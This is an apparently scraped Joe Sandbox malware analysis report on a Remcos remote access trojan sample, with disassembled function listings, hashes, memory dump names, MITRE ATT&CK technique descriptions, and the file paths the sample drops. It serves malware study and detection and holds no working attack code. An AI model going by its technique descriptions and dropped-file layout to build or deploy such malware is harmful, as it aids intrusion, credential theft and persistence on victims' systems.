Instruction ID: bde238995ca32203eb0991386ad726e6e3c65fe9e4cb5cff42fc1c95905b8154
Opcode Fuzzy Hash: 8849eb4b992d70840f09de2f41c067b23d30e3319a69c04082766a08399211d7
Instruction Fuzzy Hash: AED05BD128830215E5207AD9ACA2B2531544748754F10003BF504EB5D2C9B45C445D2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B690 Relevance: 3.0, APIs: 2, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNEL32(00000002), ref: 0040B696
TlsFree.KERNEL32(00000003,00000002), ref: 0040B6A2

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: 3e06fc8291d666770f48fa8e8f93397613ac60aaba26141da3769a3c70ca2c44
Instruction ID: 8df01562e034ce22fd4737e3d0235d01311bdce1a80e99ef2c4830d54f200d36
Opcode Fuzzy Hash: 3e06fc8291d666770f48fa8e8f93397613ac60aaba26141da3769a3c70ca2c44
Instruction Fuzzy Hash: 07B092A511010256CA04A7B19CC98562228E688308790C82EB24093059C67D94498B9C

Uniqueness

Uniqueness Score: -1.00%

Function 004068E0 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22885c764dc56c8ec779784f715e58f1bd8632ba3d7bee4c65262596e3ad86b9
Instruction ID: 36bbe8d657f6db26f82613ae88edee31248bdf0a01ec1da968d44b07d79e6300
Opcode Fuzzy Hash: 22885c764dc56c8ec779784f715e58f1bd8632ba3d7bee4c65262596e3ad86b9
Instruction Fuzzy Hash: FC012BB2244206ABD2007A69AD81B173719D781378F270437F10BBB9D5D83D98718A7D

Uniqueness

Uniqueness Score: -1.00%

Function 004068C8 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(0040B91F,?,00406B17,00000000,?,80000000,?,0000000C,00000005,00000000,00000000,?,0040B91F,0040B91F,?), ref: 004068CF

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: e8280bfe69d92a3191d9e07eae620084a41bec6694981ed4e50ef531fbd81db7
Instruction ID: dcbc394d099bdc7e92124d93416773b1b72d6b7a627fadcab208d9a0e7743ad5
Opcode Fuzzy Hash: e8280bfe69d92a3191d9e07eae620084a41bec6694981ed4e50ef531fbd81db7
Instruction Fuzzy Hash: BFB0123B13470C12CF1065F9DC8784E778CE504654B084412F60DD7151C53DF58045FA

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2F8 Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatus.KERNEL32 ref: 0040A303

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: e3e50156da86e08f653541cf25ac3880a16f36970765071494f88e758de8fc63
Instruction ID: 291fe9440c50823d652b32dadfabf7e7faafa3e224446b663234e64ff786610d
Opcode Fuzzy Hash: e3e50156da86e08f653541cf25ac3880a16f36970765071494f88e758de8fc63
Instruction Fuzzy Hash: 7EB092304046016BD210AB198C42B1EB290EB84328F848658B4E8963C2D73D51648BCB

Uniqueness

Uniqueness Score: -1.00%

Function 00406838 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,0040A949,00000000,?,?,?,?,?,?,0040B91F,Semaphore error ,?), ref: 00406861

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7ddf8c3f37879a89a01ab667404af04e87ab8d75908fe66d5f79a787db16d9e7
Instruction ID: 2ef38db8701bb9f57f6a21072f90ea293e9d3e040f6251331b023ee53efe7aca
Opcode Fuzzy Hash: 7ddf8c3f37879a89a01ab667404af04e87ab8d75908fe66d5f79a787db16d9e7
Instruction Fuzzy Hash: 02F082B20042056AD544BF7EBCC250AB79EA74533CB61853BF50E661E2DA3B9470456C

Uniqueness

Uniqueness Score: -1.00%

Function 00406204 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 920e49608f5476f7cb036848b3eb59b8c8bb8b50dc2d4abdda3700784f4818fe
Instruction ID: 012b1cba98b561163b9537e3ede1ef39e67ca27ff2987c7cb9886a8fc19ff59f
Opcode Fuzzy Hash: 920e49608f5476f7cb036848b3eb59b8c8bb8b50dc2d4abdda3700784f4818fe
Instruction Fuzzy Hash: 8131DD71A00208ABCB10EFA4DCC1A9E7778AB45354F15867EFE166B2C4D634EE60C798

Uniqueness

Uniqueness Score: -1.00%

Function 00404C74 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15e8eaaeba68c4e9ed6a8d1099968002b8932740a930359a3c50be1ad7d580c7
Instruction ID: 96895996af8b0b7b9b3591e001f4e5e7da7c1998bd3071ae9e5a85faf54314be
Opcode Fuzzy Hash: 15e8eaaeba68c4e9ed6a8d1099968002b8932740a930359a3c50be1ad7d580c7
Instruction Fuzzy Hash: 2A11EBA150970055EB24DE7AA8C571367A89F81734F19857FFE18AB1C7DA7CC840876C

Uniqueness

Uniqueness Score: -1.00%

Function 00404EF4 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10e938a78869559e04645d44cea01b50ed6909e43cfa05fd7d44f3b954c789b3
Instruction ID: a9bebe41e76461b2683e7cfd7b10f04a4ea299ec525170480f45c5dec160de02
Opcode Fuzzy Hash: 10e938a78869559e04645d44cea01b50ed6909e43cfa05fd7d44f3b954c789b3
Instruction Fuzzy Hash: 7711B9A15083456AEF08CFA4DC85B5737A49F85318F1405AEFE156E1D3EA38D61483AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA04 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f48ba592624ed506b3b18d8bf699ae0d9b3984c6abc41e4d3d6c72a9effb16a2
Instruction ID: 61e506eba1d1ed5aca7a509081a7820ee266a28bfe0408c0d60a6e0b316bbde7
Opcode Fuzzy Hash: f48ba592624ed506b3b18d8bf699ae0d9b3984c6abc41e4d3d6c72a9effb16a2
Instruction Fuzzy Hash: 6EF01D302003059FCB20FB62EA9562A3364EB50318F10843BFD05766E38B79AD54CEAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA78 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2144913044.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2144842702.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2144980511.000000000040D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2145031272.0000000000416000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_remcos.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53a84bc23d0da33ef9c993edaa77ada6801c4e5f7a11cab2167ccc072819253
Instruction ID: c4a79ecf570a510c56288346833a2824924287a6aade0c15474c20e898d4e089
Opcode Fuzzy Hash: e53a84bc23d0da33ef9c993edaa77ada6801c4e5f7a11cab2167ccc072819253
Instruction Fuzzy Hash: 85B012B278430C37E60065C9AC03F6A338C5748F04F000021FF0C5E2C1E4A5B96085EB

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report udVh4Ist4Z.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Privilege Escalation

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Remcos\Loader.Log

C:\ProgramData\Remcos\remcos.exe

C:\Users\Public\Libraries\Null

C:\Users\Public\Libraries\Xjfxsfmn.PIF

C:\Users\Public\Libraries\XjfxsfmnO.bat

C:\Users\Public\Libraries\aaa.bat

Windows Analysis Report
udVh4Ist4Z.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre